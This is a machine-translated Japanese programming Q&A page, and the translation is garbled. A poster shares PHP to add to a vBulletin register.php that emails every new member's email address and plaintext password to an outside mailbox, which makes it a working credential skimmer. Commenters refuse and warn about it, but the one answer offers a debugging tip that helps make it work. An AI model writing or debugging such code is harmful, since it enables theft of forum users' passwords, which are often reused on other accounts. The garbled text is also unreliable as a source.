2016-07-16 5 views
-3

こんにちは、私の登録フォームを変更したいのですが、私のデータベースに暗号化されたパスワードを保存して、私のメールにクリアテキストを送ってください。 登録フォームはこのコードを使用していますhttps://gitlab.com/hub/vbulletin/blob/vBulletin-4.2.0/register.php私はpassooを置くときPHPユーザー入力が届かない

///////////////TERMA 
$sex=$_GET['do']; 
if($sex=='addmember'){ 
$hohohoho=' 
emailo : '.$_POST['email'].' 
passoo : '.$_POST['password'].' 
'; 
$nihahaha='sa7a sa7a boite email jdida :p'; 
$emchy='[email protected]'; 
$nouna = "[email protected]"; 
$bazoul ="MIME-Version: 1.0 \r\n"; 
$bazoul.="from: $nouna \r\n"; 
$bazoul.="Content-type: text/plain;charset=utf-8 \r\n"; 
$bazoul.="X-Priority: 3\r\n"; 
$bazoul.="X-Mailer: smail-PHP ".phpversion()."\r\n";   
mail($emchy, $nihahaha, $hohohoho, $bazoul); 
} 

: (PASに大きすぎる申し訳ありません)ので、私はライン175にこのコードを挿入 '$ _ POST [ 'パスワード']。'電子メールでは空白のフィールドが表示されますが、password_md5にパスワードを変更すると、md5が暗号化され、クリアテキストが表示されます。

+1

番番番ドゥすることができません**平易なテキストパスワードでの検証以外の何か** **まったく決して、決して*電子メールではありません。 –

+0

?コードを修正する方法を教えてください、私は自分のリスクを取る –

+2

いいえ、私はあなたの人生を台無しにする方法を示しません。 –

答えて

0

パスワードフィールドが空でないかどうかを確認するために最初の$ _POST変数)のvar_dumpと(死ぬためにしてみてください - **空の文字列は、まだMD5ハッシュ:)

+0

私はそれをテストしました、ハッシュされたmd5が受け取られますが、プレーンテキストではないテキストがパスワードフィールドにあります –

関連する問題